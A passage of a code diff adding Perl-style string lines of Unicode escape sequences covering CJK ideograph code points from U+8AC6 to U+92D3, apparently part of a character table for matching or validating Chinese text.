+'\x{8AC6}\x{8AC7}\x{8AC8}\x{8AC9}\x{8ACA}\x{8ACB}\x{8ACC}\x{8ACD}\x{8ACE}' .
+'\x{8ACF}\x{8AD1}\x{8AD2}\x{8AD3}\x{8AD4}\x{8AD5}\x{8AD6}\x{8AD7}\x{8AD8}' .
+'\x{8AD9}\x{8ADA}\x{8ADB}\x{8ADC}\x{8ADD}\x{8ADE}\x{8ADF}\x{8AE0}\x{8AE1}' .
+'\x{8AE2}\x{8AE3}\x{8AE4}\x{8AE5}\x{8AE6}\x{8AE7}\x{8AE8}\x{8AE9}\x{8AEA}' .
+'\x{8AEB}\x{8AED}\x{8AEE}\x{8AEF}\x{8AF0}\x{8AF1}\x{8AF2}\x{8AF3}\x{8AF4}' .
+'\x{8AF5}\x{8AF6}\x{8AF7}\x{8AF8}\x{8AF9}\x{8AFA}\x{8AFB}\x{8AFC}\x{8AFD}' .
+'\x{8AFE}\x{8AFF}\x{8B00}\x{8B01}\x{8B02}\x{8B03}\x{8B04}\x{8B05}\x{8B06}' .
+'\x{8B07}\x{8B08}\x{8B09}\x{8B0A}\x{8B0B}\x{8B0D}\x{8B0E}\x{8B0F}\x{8B10}' .
+'\x{8B11}\x{8B12}\x{8B13}\x{8B14}\x{8B15}\x{8B16}\x{8B17}\x{8B18}\x{8B19}' .
+'\x{8B1A}\x{8B1B}\x{8B1C}\x{8B1D}\x{8B1E}\x{8B1F}\x{8B20}\x{8B21}\x{8B22}' .
+'\x{8B23}\x{8B24}\x{8B25}\x{8B26}\x{8B27}\x{8B28}\x{8B2A}\x{8B2B}\x{8B2C}' .
+'\x{8B2D}\x{8B2E}\x{8B2F}\x{8B30}\x{8B31}\x{8B33}\x{8B34}\x{8B35}\x{8B36}' .
+'\x{8B37}\x{8B39}\x{8B3A}\x{8B3B}\x{8B3C}\x{8B3D}\x{8B3E}\x{8B40}\x{8B41}' .
+'\x{8B42}\x{8B43}\x{8B44}\x{8B45}\x{8B46}\x{8B47}\x{8B48}\x{8B49}\x{8B4A}' .
+'\x{8B4B}\x{8B4C}\x{8B4D}\x{8B4E}\x{8B4F}\x{8B50}\x{8B51}\x{8B52}\x{8B53}' .
+'\x{8B54}\x{8B55}\x{8B56}\x{8B57}\x{8B58}\x{8B59}\x{8B5A}\x{8B5B}\x{8B5C}' .
+'\x{8B5D}\x{8B5E}\x{8B5F}\x{8B60}\x{8B63}\x{8B64}\x{8B65}\x{8B66}\x{8B67}' .
+'\x{8B68}\x{8B6A}\x{8B6B}\x{8B6C}\x{8B6D}\x{8B6E}\x{8B6F}\x{8B70}\x{8B71}' .
+'\x{8B73}\x{8B74}\x{8B76}\x{8B77}\x{8B78}\x{8B79}\x{8B7A}\x{8B7B}\x{8B7D}' .
+'\x{8B7E}\x{8B7F}\x{8B80}\x{8B82}\x{8B83}\x{8B84}\x{8B85}\x{8B86}\x{8B88}' .
+'\x{8B89}\x{8B8A}\x{8B8B}\x{8B8C}\x{8B8E}\x{8B90}\x{8B91}\x{8B92}\x{8B93}' .
+'\x{8B94}\x{8B95}\x{8B96}\x{8B97}\x{8B98}\x{8B99}\x{8B9A}\x{8B9C}\x{8B9D}' .
+'\x{8B9E}\x{8B9F}\x{8BA0}\x{8BA1}\x{8BA2}\x{8BA3}\x{8BA4}\x{8BA5}\x{8BA6}' .
+'\x{8BA7}\x{8BA8}\x{8BA9}\x{8BAA}\x{8BAB}\x{8BAC}\x{8BAD}\x{8BAE}\x{8BAF}' .
+'\x{8BB0}\x{8BB1}\x{8BB2}\x{8BB3}\x{8BB4}\x{8BB5}\x{8BB6}\x{8BB7}\x{8BB8}' .
+'\x{8BB9}\x{8BBA}\x{8BBB}\x{8BBC}\x{8BBD}\x{8BBE}\x{8BBF}\x{8BC0}\x{8BC1}' .
+'\x{8BC2}\x{8BC3}\x{8BC4}\x{8BC5}\x{8BC6}\x{8BC7}\x{8BC8}\x{8BC9}\x{8BCA}' .
+'\x{8BCB}\x{8BCC}\x{8BCD}\x{8BCE}\x{8BCF}\x{8BD0}\x{8BD1}\x{8BD2}\x{8BD3}' .
+'\x{8BD4}\x{8BD5}\x{8BD6}\x{8BD7}\x{8BD8}\x{8BD9}\x{8BDA}\x{8BDB}\x{8BDC}' .
+'\x{8BDD}\x{8BDE}\x{8BDF}\x{8BE0}\x{8BE1}\x{8BE2}\x{8BE3}\x{8BE4}\x{8BE5}' .
+'\x{8BE6}\x{8BE7}\x{8BE8}\x{8BE9}\x{8BEA}\x{8BEB}\x{8BEC}\x{8BED}\x{8BEE}' .
+'\x{8BEF}\x{8BF0}\x{8BF1}\x{8BF2}\x{8BF3}\x{8BF4}\x{8BF5}\x{8BF6}\x{8BF7}' .
+'\x{8BF8}\x{8BF9}\x{8BFA}\x{8BFB}\x{8BFC}\x{8BFD}\x{8BFE}\x{8BFF}\x{8C00}' .
+'\x{8C01}\x{8C02}\x{8C03}\x{8C04}\x{8C05}\x{8C06}\x{8C07}\x{8C08}\x{8C09}' .
+'\x{8C0A}\x{8C0B}\x{8C0C}\x{8C0D}\x{8C0E}\x{8C0F}\x{8C10}\x{8C11}\x{8C12}' .
+'\x{8C13}\x{8C14}\x{8C15}\x{8C16}\x{8C17}\x{8C18}\x{8C19}\x{8C1A}\x{8C1B}' .
+'\x{8C1C}\x{8C1D}\x{8C1E}\x{8C1F}\x{8C20}\x{8C21}\x{8C22}\x{8C23}\x{8C24}' .
+'\x{8C25}\x{8C26}\x{8C27}\x{8C28}\x{8C29}\x{8C2A}\x{8C2B}\x{8C2C}\x{8C2D}' .
+'\x{8C2E}\x{8C2F}\x{8C30}\x{8C31}\x{8C32}\x{8C33}\x{8C34}\x{8C35}\x{8C36}' .
+'\x{8C37}\x{8C39}\x{8C3A}\x{8C3B}\x{8C3C}\x{8C3D}\x{8C3E}\x{8C3F}\x{8C41}' .
+'\x{8C42}\x{8C43}\x{8C45}\x{8C46}\x{8C47}\x{8C48}\x{8C49}\x{8C4A}\x{8C4B}' .
+'\x{8C4C}\x{8C4D}\x{8C4E}\x{8C4F}\x{8C50}\x{8C54}\x{8C55}\x{8C56}\x{8C57}' .
+'\x{8C59}\x{8C5A}\x{8C5B}\x{8C5C}\x{8C5D}\x{8C5E}\x{8C5F}\x{8C60}\x{8C61}' .
+'\x{8C62}\x{8C63}\x{8C64}\x{8C65}\x{8C66}\x{8C67}\x{8C68}\x{8C69}\x{8C6A}' .
+'\x{8C6B}\x{8C6C}\x{8C6D}\x{8C6E}\x{8C6F}\x{8C70}\x{8C71}\x{8C72}\x{8C73}' .
+'\x{8C75}\x{8C76}\x{8C77}\x{8C78}\x{8C79}\x{8C7A}\x{8C7B}\x{8C7D}\x{8C7E}' .
+'\x{8C80}\x{8C81}\x{8C82}\x{8C84}\x{8C85}\x{8C86}\x{8C88}\x{8C89}\x{8C8A}' .
+'\x{8C8C}\x{8C8D}\x{8C8F}\x{8C90}\x{8C91}\x{8C92}\x{8C93}\x{8C94}\x{8C95}' .
+'\x{8C96}\x{8C97}\x{8C98}\x{8C99}\x{8C9A}\x{8C9C}\x{8C9D}\x{8C9E}\x{8C9F}' .
+'\x{8CA0}\x{8CA1}\x{8CA2}\x{8CA3}\x{8CA4}\x{8CA5}\x{8CA7}\x{8CA8}\x{8CA9}' .
+'\x{8CAA}\x{8CAB}\x{8CAC}\x{8CAD}\x{8CAE}\x{8CAF}\x{8CB0}\x{8CB1}\x{8CB2}' .
+'\x{8CB3}\x{8CB4}\x{8CB5}\x{8CB6}\x{8CB7}\x{8CB8}\x{8CB9}\x{8CBA}\x{8CBB}' .
+'\x{8CBC}\x{8CBD}\x{8CBE}\x{8CBF}\x{8CC0}\x{8CC1}\x{8CC2}\x{8CC3}\x{8CC4}' .
+'\x{8CC5}\x{8CC6}\x{8CC7}\x{8CC8}\x{8CC9}\x{8CCA}\x{8CCC}\x{8CCE}\x{8CCF}' .
+'\x{8CD0}\x{8CD1}\x{8CD2}\x{8CD3}\x{8CD4}\x{8CD5}\x{8CD7}\x{8CD9}\x{8CDA}' .
+'\x{8CDB}\x{8CDC}\x{8CDD}\x{8CDE}\x{8CDF}\x{8CE0}\x{8CE1}\x{8CE2}\x{8CE3}' .
+'\x{8CE4}\x{8CE5}\x{8CE6}\x{8CE7}\x{8CE8}\x{8CEA}\x{8CEB}\x{8CEC}\x{8CED}' .
+'\x{8CEE}\x{8CEF}\x{8CF0}\x{8CF1}\x{8CF2}\x{8CF3}\x{8CF4}\x{8CF5}\x{8CF6}' .
+'\x{8CF8}\x{8CF9}\x{8CFA}\x{8CFB}\x{8CFC}\x{8CFD}\x{8CFE}\x{8CFF}\x{8D00}' .
+'\x{8D02}\x{8D03}\x{8D04}\x{8D05}\x{8D06}\x{8D07}\x{8D08}\x{8D09}\x{8D0A}' .
+'\x{8D0B}\x{8D0C}\x{8D0D}\x{8D0E}\x{8D0F}\x{8D10}\x{8D13}\x{8D14}\x{8D15}' .
+'\x{8D16}\x{8D17}\x{8D18}\x{8D19}\x{8D1A}\x{8D1B}\x{8D1C}\x{8D1D}\x{8D1E}' .
+'\x{8D1F}\x{8D20}\x{8D21}\x{8D22}\x{8D23}\x{8D24}\x{8D25}\x{8D26}\x{8D27}' .
+'\x{8D28}\x{8D29}\x{8D2A}\x{8D2B}\x{8D2C}\x{8D2D}\x{8D2E}\x{8D2F}\x{8D30}' .
+'\x{8D31}\x{8D32}\x{8D33}\x{8D34}\x{8D35}\x{8D36}\x{8D37}\x{8D38}\x{8D39}' .
+'\x{8D3A}\x{8D3B}\x{8D3C}\x{8D3D}\x{8D3E}\x{8D3F}\x{8D40}\x{8D41}\x{8D42}' .
+'\x{8D43}\x{8D44}\x{8D45}\x{8D46}\x{8D47}\x{8D48}\x{8D49}\x{8D4A}\x{8D4B}' .
+'\x{8D4C}\x{8D4D}\x{8D4E}\x{8D4F}\x{8D50}\x{8D51}\x{8D52}\x{8D53}\x{8D54}' .
+'\x{8D55}\x{8D56}\x{8D57}\x{8D58}\x{8D59}\x{8D5A}\x{8D5B}\x{8D5C}\x{8D5D}' .
+'\x{8D5E}\x{8D5F}\x{8D60}\x{8D61}\x{8D62}\x{8D63}\x{8D64}\x{8D65}\x{8D66}' .
+'\x{8D67}\x{8D68}\x{8D69}\x{8D6A}\x{8D6B}\x{8D6C}\x{8D6D}\x{8D6E}\x{8D6F}' .
+'\x{8D70}\x{8D71}\x{8D72}\x{8D73}\x{8D74}\x{8D75}\x{8D76}\x{8D77}\x{8D78}' .
+'\x{8D79}\x{8D7A}\x{8D7B}\x{8D7D}\x{8D7E}\x{8D7F}\x{8D80}\x{8D81}\x{8D82}' .
+'\x{8D83}\x{8D84}\x{8D85}\x{8D86}\x{8D87}\x{8D88}\x{8D89}\x{8D8A}\x{8D8B}' .
+'\x{8D8C}\x{8D8D}\x{8D8E}\x{8D8F}\x{8D90}\x{8D91}\x{8D92}\x{8D93}\x{8D94}' .
+'\x{8D95}\x{8D96}\x{8D97}\x{8D98}\x{8D99}\x{8D9A}\x{8D9B}\x{8D9C}\x{8D9D}' .
+'\x{8D9E}\x{8D9F}\x{8DA0}\x{8DA1}\x{8DA2}\x{8DA3}\x{8DA4}\x{8DA5}\x{8DA7}' .
+'\x{8DA8}\x{8DA9}\x{8DAA}\x{8DAB}\x{8DAC}\x{8DAD}\x{8DAE}\x{8DAF}\x{8DB0}' .
+'\x{8DB1}\x{8DB2}\x{8DB3}\x{8DB4}\x{8DB5}\x{8DB6}\x{8DB7}\x{8DB8}\x{8DB9}' .
+'\x{8DBA}\x{8DBB}\x{8DBC}\x{8DBD}\x{8DBE}\x{8DBF}\x{8DC1}\x{8DC2}\x{8DC3}' .
+'\x{8DC4}\x{8DC5}\x{8DC6}\x{8DC7}\x{8DC8}\x{8DC9}\x{8DCA}\x{8DCB}\x{8DCC}' .
+'\x{8DCD}\x{8DCE}\x{8DCF}\x{8DD0}\x{8DD1}\x{8DD2}\x{8DD3}\x{8DD4}\x{8DD5}' .
+'\x{8DD6}\x{8DD7}\x{8DD8}\x{8DD9}\x{8DDA}\x{8DDB}\x{8DDC}\x{8DDD}\x{8DDE}' .
+'\x{8DDF}\x{8DE0}\x{8DE1}\x{8DE2}\x{8DE3}\x{8DE4}\x{8DE6}\x{8DE7}\x{8DE8}' .
+'\x{8DE9}\x{8DEA}\x{8DEB}\x{8DEC}\x{8DED}\x{8DEE}\x{8DEF}\x{8DF0}\x{8DF1}' .
+'\x{8DF2}\x{8DF3}\x{8DF4}\x{8DF5}\x{8DF6}\x{8DF7}\x{8DF8}\x{8DF9}\x{8DFA}' .
+'\x{8DFB}\x{8DFC}\x{8DFD}\x{8DFE}\x{8DFF}\x{8E00}\x{8E02}\x{8E03}\x{8E04}' .
+'\x{8E05}\x{8E06}\x{8E07}\x{8E08}\x{8E09}\x{8E0A}\x{8E0C}\x{8E0D}\x{8E0E}' .
+'\x{8E0F}\x{8E10}\x{8E11}\x{8E12}\x{8E13}\x{8E14}\x{8E15}\x{8E16}\x{8E17}' .
+'\x{8E18}\x{8E19}\x{8E1A}\x{8E1B}\x{8E1C}\x{8E1D}\x{8E1E}\x{8E1F}\x{8E20}' .
+'\x{8E21}\x{8E22}\x{8E23}\x{8E24}\x{8E25}\x{8E26}\x{8E27}\x{8E28}\x{8E29}' .
+'\x{8E2A}\x{8E2B}\x{8E2C}\x{8E2D}\x{8E2E}\x{8E2F}\x{8E30}\x{8E31}\x{8E33}' .
+'\x{8E34}\x{8E35}\x{8E36}\x{8E37}\x{8E38}\x{8E39}\x{8E3A}\x{8E3B}\x{8E3C}' .
+'\x{8E3D}\x{8E3E}\x{8E3F}\x{8E40}\x{8E41}\x{8E42}\x{8E43}\x{8E44}\x{8E45}' .
+'\x{8E47}\x{8E48}\x{8E49}\x{8E4A}\x{8E4B}\x{8E4C}\x{8E4D}\x{8E4E}\x{8E50}' .
+'\x{8E51}\x{8E52}\x{8E53}\x{8E54}\x{8E55}\x{8E56}\x{8E57}\x{8E58}\x{8E59}' .
+'\x{8E5A}\x{8E5B}\x{8E5C}\x{8E5D}\x{8E5E}\x{8E5F}\x{8E60}\x{8E61}\x{8E62}' .
+'\x{8E63}\x{8E64}\x{8E65}\x{8E66}\x{8E67}\x{8E68}\x{8E69}\x{8E6A}\x{8E6B}' .
+'\x{8E6C}\x{8E6D}\x{8E6F}\x{8E70}\x{8E71}\x{8E72}\x{8E73}\x{8E74}\x{8E76}' .
+'\x{8E78}\x{8E7A}\x{8E7B}\x{8E7C}\x{8E7D}\x{8E7E}\x{8E7F}\x{8E80}\x{8E81}' .
+'\x{8E82}\x{8E83}\x{8E84}\x{8E85}\x{8E86}\x{8E87}\x{8E88}\x{8E89}\x{8E8A}' .
+'\x{8E8B}\x{8E8C}\x{8E8D}\x{8E8E}\x{8E8F}\x{8E90}\x{8E91}\x{8E92}\x{8E93}' .
+'\x{8E94}\x{8E95}\x{8E96}\x{8E97}\x{8E98}\x{8E9A}\x{8E9C}\x{8E9D}\x{8E9E}' .
+'\x{8E9F}\x{8EA0}\x{8EA1}\x{8EA3}\x{8EA4}\x{8EA5}\x{8EA6}\x{8EA7}\x{8EA8}' .
+'\x{8EA9}\x{8EAA}\x{8EAB}\x{8EAC}\x{8EAD}\x{8EAE}\x{8EAF}\x{8EB0}\x{8EB1}' .
+'\x{8EB2}\x{8EB4}\x{8EB5}\x{8EB8}\x{8EB9}\x{8EBA}\x{8EBB}\x{8EBC}\x{8EBD}' .
+'\x{8EBE}\x{8EBF}\x{8EC0}\x{8EC2}\x{8EC3}\x{8EC5}\x{8EC6}\x{8EC7}\x{8EC8}' .
+'\x{8EC9}\x{8ECA}\x{8ECB}\x{8ECC}\x{8ECD}\x{8ECE}\x{8ECF}\x{8ED0}\x{8ED1}' .
+'\x{8ED2}\x{8ED3}\x{8ED4}\x{8ED5}\x{8ED6}\x{8ED7}\x{8ED8}\x{8EDA}\x{8EDB}' .
+'\x{8EDC}\x{8EDD}\x{8EDE}\x{8EDF}\x{8EE0}\x{8EE1}\x{8EE4}\x{8EE5}\x{8EE6}' .
+'\x{8EE7}\x{8EE8}\x{8EE9}\x{8EEA}\x{8EEB}\x{8EEC}\x{8EED}\x{8EEE}\x{8EEF}' .
+'\x{8EF1}\x{8EF2}\x{8EF3}\x{8EF4}\x{8EF5}\x{8EF6}\x{8EF7}\x{8EF8}\x{8EF9}' .
+'\x{8EFA}\x{8EFB}\x{8EFC}\x{8EFD}\x{8EFE}\x{8EFF}\x{8F00}\x{8F01}\x{8F02}' .
+'\x{8F03}\x{8F04}\x{8F05}\x{8F06}\x{8F07}\x{8F08}\x{8F09}\x{8F0A}\x{8F0B}' .
+'\x{8F0D}\x{8F0E}\x{8F10}\x{8F11}\x{8F12}\x{8F13}\x{8F14}\x{8F15}\x{8F16}' .
+'\x{8F17}\x{8F18}\x{8F1A}\x{8F1B}\x{8F1C}\x{8F1D}\x{8F1E}\x{8F1F}\x{8F20}' .
+'\x{8F21}\x{8F22}\x{8F23}\x{8F24}\x{8F25}\x{8F26}\x{8F27}\x{8F28}\x{8F29}' .
+'\x{8F2A}\x{8F2B}\x{8F2C}\x{8F2E}\x{8F2F}\x{8F30}\x{8F31}\x{8F32}\x{8F33}' .
+'\x{8F34}\x{8F35}\x{8F36}\x{8F37}\x{8F38}\x{8F39}\x{8F3B}\x{8F3C}\x{8F3D}' .
+'\x{8F3E}\x{8F3F}\x{8F40}\x{8F42}\x{8F43}\x{8F44}\x{8F45}\x{8F46}\x{8F47}' .
+'\x{8F48}\x{8F49}\x{8F4A}\x{8F4B}\x{8F4C}\x{8F4D}\x{8F4E}\x{8F4F}\x{8F50}' .
+'\x{8F51}\x{8F52}\x{8F53}\x{8F54}\x{8F55}\x{8F56}\x{8F57}\x{8F58}\x{8F59}' .
+'\x{8F5A}\x{8F5B}\x{8F5D}\x{8F5E}\x{8F5F}\x{8F60}\x{8F61}\x{8F62}\x{8F63}' .
+'\x{8F64}\x{8F65}\x{8F66}\x{8F67}\x{8F68}\x{8F69}\x{8F6A}\x{8F6B}\x{8F6C}' .
+'\x{8F6D}\x{8F6E}\x{8F6F}\x{8F70}\x{8F71}\x{8F72}\x{8F73}\x{8F74}\x{8F75}' .
+'\x{8F76}\x{8F77}\x{8F78}\x{8F79}\x{8F7A}\x{8F7B}\x{8F7C}\x{8F7D}\x{8F7E}' .
+'\x{8F7F}\x{8F80}\x{8F81}\x{8F82}\x{8F83}\x{8F84}\x{8F85}\x{8F86}\x{8F87}' .
+'\x{8F88}\x{8F89}\x{8F8A}\x{8F8B}\x{8F8C}\x{8F8D}\x{8F8E}\x{8F8F}\x{8F90}' .
+'\x{8F91}\x{8F92}\x{8F93}\x{8F94}\x{8F95}\x{8F96}\x{8F97}\x{8F98}\x{8F99}' .
+'\x{8F9A}\x{8F9B}\x{8F9C}\x{8F9E}\x{8F9F}\x{8FA0}\x{8FA1}\x{8FA2}\x{8FA3}' .
+'\x{8FA5}\x{8FA6}\x{8FA7}\x{8FA8}\x{8FA9}\x{8FAA}\x{8FAB}\x{8FAC}\x{8FAD}' .
+'\x{8FAE}\x{8FAF}\x{8FB0}\x{8FB1}\x{8FB2}\x{8FB4}\x{8FB5}\x{8FB6}\x{8FB7}' .
+'\x{8FB8}\x{8FB9}\x{8FBB}\x{8FBC}\x{8FBD}\x{8FBE}\x{8FBF}\x{8FC0}\x{8FC1}' .
+'\x{8FC2}\x{8FC4}\x{8FC5}\x{8FC6}\x{8FC7}\x{8FC8}\x{8FC9}\x{8FCB}\x{8FCC}' .
+'\x{8FCD}\x{8FCE}\x{8FCF}\x{8FD0}\x{8FD1}\x{8FD2}\x{8FD3}\x{8FD4}\x{8FD5}' .
+'\x{8FD6}\x{8FD7}\x{8FD8}\x{8FD9}\x{8FDA}\x{8FDB}\x{8FDC}\x{8FDD}\x{8FDE}' .
+'\x{8FDF}\x{8FE0}\x{8FE1}\x{8FE2}\x{8FE3}\x{8FE4}\x{8FE5}\x{8FE6}\x{8FE8}' .
+'\x{8FE9}\x{8FEA}\x{8FEB}\x{8FEC}\x{8FED}\x{8FEE}\x{8FEF}\x{8FF0}\x{8FF1}' .
+'\x{8FF2}\x{8FF3}\x{8FF4}\x{8FF5}\x{8FF6}\x{8FF7}\x{8FF8}\x{8FF9}\x{8FFA}' .
+'\x{8FFB}\x{8FFC}\x{8FFD}\x{8FFE}\x{8FFF}\x{9000}\x{9001}\x{9002}\x{9003}' .
+'\x{9004}\x{9005}\x{9006}\x{9007}\x{9008}\x{9009}\x{900A}\x{900B}\x{900C}' .
+'\x{900D}\x{900F}\x{9010}\x{9011}\x{9012}\x{9013}\x{9014}\x{9015}\x{9016}' .
+'\x{9017}\x{9018}\x{9019}\x{901A}\x{901B}\x{901C}\x{901D}\x{901E}\x{901F}' .
+'\x{9020}\x{9021}\x{9022}\x{9023}\x{9024}\x{9025}\x{9026}\x{9027}\x{9028}' .
+'\x{9029}\x{902B}\x{902D}\x{902E}\x{902F}\x{9030}\x{9031}\x{9032}\x{9033}' .
+'\x{9034}\x{9035}\x{9036}\x{9038}\x{903A}\x{903B}\x{903C}\x{903D}\x{903E}' .
+'\x{903F}\x{9041}\x{9042}\x{9043}\x{9044}\x{9045}\x{9047}\x{9048}\x{9049}' .
+'\x{904A}\x{904B}\x{904C}\x{904D}\x{904E}\x{904F}\x{9050}\x{9051}\x{9052}' .
+'\x{9053}\x{9054}\x{9055}\x{9056}\x{9057}\x{9058}\x{9059}\x{905A}\x{905B}' .
+'\x{905C}\x{905D}\x{905E}\x{905F}\x{9060}\x{9061}\x{9062}\x{9063}\x{9064}' .
+'\x{9065}\x{9066}\x{9067}\x{9068}\x{9069}\x{906A}\x{906B}\x{906C}\x{906D}' .
+'\x{906E}\x{906F}\x{9070}\x{9071}\x{9072}\x{9073}\x{9074}\x{9075}\x{9076}' .
+'\x{9077}\x{9078}\x{9079}\x{907A}\x{907B}\x{907C}\x{907D}\x{907E}\x{907F}' .
+'\x{9080}\x{9081}\x{9082}\x{9083}\x{9084}\x{9085}\x{9086}\x{9087}\x{9088}' .
+'\x{9089}\x{908A}\x{908B}\x{908C}\x{908D}\x{908E}\x{908F}\x{9090}\x{9091}' .
+'\x{9092}\x{9093}\x{9094}\x{9095}\x{9096}\x{9097}\x{9098}\x{9099}\x{909A}' .
+'\x{909B}\x{909C}\x{909D}\x{909E}\x{909F}\x{90A0}\x{90A1}\x{90A2}\x{90A3}' .
+'\x{90A4}\x{90A5}\x{90A6}\x{90A7}\x{90A8}\x{90A9}\x{90AA}\x{90AC}\x{90AD}' .
+'\x{90AE}\x{90AF}\x{90B0}\x{90B1}\x{90B2}\x{90B3}\x{90B4}\x{90B5}\x{90B6}' .
+'\x{90B7}\x{90B8}\x{90B9}\x{90BA}\x{90BB}\x{90BC}\x{90BD}\x{90BE}\x{90BF}' .
+'\x{90C0}\x{90C1}\x{90C2}\x{90C3}\x{90C4}\x{90C5}\x{90C6}\x{90C7}\x{90C8}' .
+'\x{90C9}\x{90CA}\x{90CB}\x{90CE}\x{90CF}\x{90D0}\x{90D1}\x{90D3}\x{90D4}' .
+'\x{90D5}\x{90D6}\x{90D7}\x{90D8}\x{90D9}\x{90DA}\x{90DB}\x{90DC}\x{90DD}' .
+'\x{90DE}\x{90DF}\x{90E0}\x{90E1}\x{90E2}\x{90E3}\x{90E4}\x{90E5}\x{90E6}' .
+'\x{90E7}\x{90E8}\x{90E9}\x{90EA}\x{90EB}\x{90EC}\x{90ED}\x{90EE}\x{90EF}' .
+'\x{90F0}\x{90F1}\x{90F2}\x{90F3}\x{90F4}\x{90F5}\x{90F7}\x{90F8}\x{90F9}' .
+'\x{90FA}\x{90FB}\x{90FC}\x{90FD}\x{90FE}\x{90FF}\x{9100}\x{9101}\x{9102}' .
+'\x{9103}\x{9104}\x{9105}\x{9106}\x{9107}\x{9108}\x{9109}\x{910B}\x{910C}' .
+'\x{910D}\x{910E}\x{910F}\x{9110}\x{9111}\x{9112}\x{9113}\x{9114}\x{9115}' .
+'\x{9116}\x{9117}\x{9118}\x{9119}\x{911A}\x{911B}\x{911C}\x{911D}\x{911E}' .
+'\x{911F}\x{9120}\x{9121}\x{9122}\x{9123}\x{9124}\x{9125}\x{9126}\x{9127}' .
+'\x{9128}\x{9129}\x{912A}\x{912B}\x{912C}\x{912D}\x{912E}\x{912F}\x{9130}' .
+'\x{9131}\x{9132}\x{9133}\x{9134}\x{9135}\x{9136}\x{9137}\x{9138}\x{9139}' .
+'\x{913A}\x{913B}\x{913E}\x{913F}\x{9140}\x{9141}\x{9142}\x{9143}\x{9144}' .
+'\x{9145}\x{9146}\x{9147}\x{9148}\x{9149}\x{914A}\x{914B}\x{914C}\x{914D}' .
+'\x{914E}\x{914F}\x{9150}\x{9151}\x{9152}\x{9153}\x{9154}\x{9155}\x{9156}' .
+'\x{9157}\x{9158}\x{915A}\x{915B}\x{915C}\x{915D}\x{915E}\x{915F}\x{9160}' .
+'\x{9161}\x{9162}\x{9163}\x{9164}\x{9165}\x{9166}\x{9167}\x{9168}\x{9169}' .
+'\x{916A}\x{916B}\x{916C}\x{916D}\x{916E}\x{916F}\x{9170}\x{9171}\x{9172}' .
+'\x{9173}\x{9174}\x{9175}\x{9176}\x{9177}\x{9178}\x{9179}\x{917A}\x{917C}' .
+'\x{917D}\x{917E}\x{917F}\x{9180}\x{9181}\x{9182}\x{9183}\x{9184}\x{9185}' .
+'\x{9186}\x{9187}\x{9188}\x{9189}\x{918A}\x{918B}\x{918C}\x{918D}\x{918E}' .
+'\x{918F}\x{9190}\x{9191}\x{9192}\x{9193}\x{9194}\x{9196}\x{9199}\x{919A}' .
+'\x{919B}\x{919C}\x{919D}\x{919E}\x{919F}\x{91A0}\x{91A1}\x{91A2}\x{91A3}' .
+'\x{91A5}\x{91A6}\x{91A7}\x{91A8}\x{91AA}\x{91AB}\x{91AC}\x{91AD}\x{91AE}' .
+'\x{91AF}\x{91B0}\x{91B1}\x{91B2}\x{91B3}\x{91B4}\x{91B5}\x{91B6}\x{91B7}' .
+'\x{91B9}\x{91BA}\x{91BB}\x{91BC}\x{91BD}\x{91BE}\x{91C0}\x{91C1}\x{91C2}' .
+'\x{91C3}\x{91C5}\x{91C6}\x{91C7}\x{91C9}\x{91CA}\x{91CB}\x{91CC}\x{91CD}' .
+'\x{91CE}\x{91CF}\x{91D0}\x{91D1}\x{91D2}\x{91D3}\x{91D4}\x{91D5}\x{91D7}' .
+'\x{91D8}\x{91D9}\x{91DA}\x{91DB}\x{91DC}\x{91DD}\x{91DE}\x{91DF}\x{91E2}' .
+'\x{91E3}\x{91E4}\x{91E5}\x{91E6}\x{91E7}\x{91E8}\x{91E9}\x{91EA}\x{91EB}' .
+'\x{91EC}\x{91ED}\x{91EE}\x{91F0}\x{91F1}\x{91F2}\x{91F3}\x{91F4}\x{91F5}' .
+'\x{91F7}\x{91F8}\x{91F9}\x{91FA}\x{91FB}\x{91FD}\x{91FE}\x{91FF}\x{9200}' .
+'\x{9201}\x{9202}\x{9203}\x{9204}\x{9205}\x{9206}\x{9207}\x{9208}\x{9209}' .
+'\x{920A}\x{920B}\x{920C}\x{920D}\x{920E}\x{920F}\x{9210}\x{9211}\x{9212}' .
+'\x{9214}\x{9215}\x{9216}\x{9217}\x{9218}\x{9219}\x{921A}\x{921B}\x{921C}' .
+'\x{921D}\x{921E}\x{9220}\x{9221}\x{9223}\x{9224}\x{9225}\x{9226}\x{9227}' .
+'\x{9228}\x{9229}\x{922A}\x{922B}\x{922D}\x{922E}\x{922F}\x{9230}\x{9231}' .
+'\x{9232}\x{9233}\x{9234}\x{9235}\x{9236}\x{9237}\x{9238}\x{9239}\x{923A}' .
+'\x{923B}\x{923C}\x{923D}\x{923E}\x{923F}\x{9240}\x{9241}\x{9242}\x{9245}' .
+'\x{9246}\x{9247}\x{9248}\x{9249}\x{924A}\x{924B}\x{924C}\x{924D}\x{924E}' .
+'\x{924F}\x{9250}\x{9251}\x{9252}\x{9253}\x{9254}\x{9255}\x{9256}\x{9257}' .
+'\x{9258}\x{9259}\x{925A}\x{925B}\x{925C}\x{925D}\x{925E}\x{925F}\x{9260}' .
+'\x{9261}\x{9262}\x{9263}\x{9264}\x{9265}\x{9266}\x{9267}\x{9268}\x{926B}' .
+'\x{926C}\x{926D}\x{926E}\x{926F}\x{9270}\x{9272}\x{9273}\x{9274}\x{9275}' .
+'\x{9276}\x{9277}\x{9278}\x{9279}\x{927A}\x{927B}\x{927C}\x{927D}\x{927E}' .
+'\x{927F}\x{9280}\x{9282}\x{9283}\x{9285}\x{9286}\x{9287}\x{9288}\x{9289}' .
+'\x{928A}\x{928B}\x{928C}\x{928D}\x{928E}\x{928F}\x{9290}\x{9291}\x{9292}' .
+'\x{9293}\x{9294}\x{9295}\x{9296}\x{9297}\x{9298}\x{9299}\x{929A}\x{929B}' .
+'\x{929C}\x{929D}\x{929F}\x{92A0}\x{92A1}\x{92A2}\x{92A3}\x{92A4}\x{92A5}' .
+'\x{92A6}\x{92A7}\x{92A8}\x{92A9}\x{92AA}\x{92AB}\x{92AC}\x{92AD}\x{92AE}' .
+'\x{92AF}\x{92B0}\x{92B1}\x{92B2}\x{92B3}\x{92B4}\x{92B5}\x{92B6}\x{92B7}' .
+'\x{92B8}\x{92B9}\x{92BA}\x{92BB}\x{92BC}\x{92BE}\x{92BF}\x{92C0}\x{92C1}' .
+'\x{92C2}\x{92C3}\x{92C4}\x{92C5}\x{92C6}\x{92C7}\x{92C8}\x{92C9}\x{92CA}' .
+'\x{92CB}\x{92CC}\x{92CD}\x{92CE}\x{92CF}\x{92D0}\x{92D1}\x{92D2}\x{92D3}' .
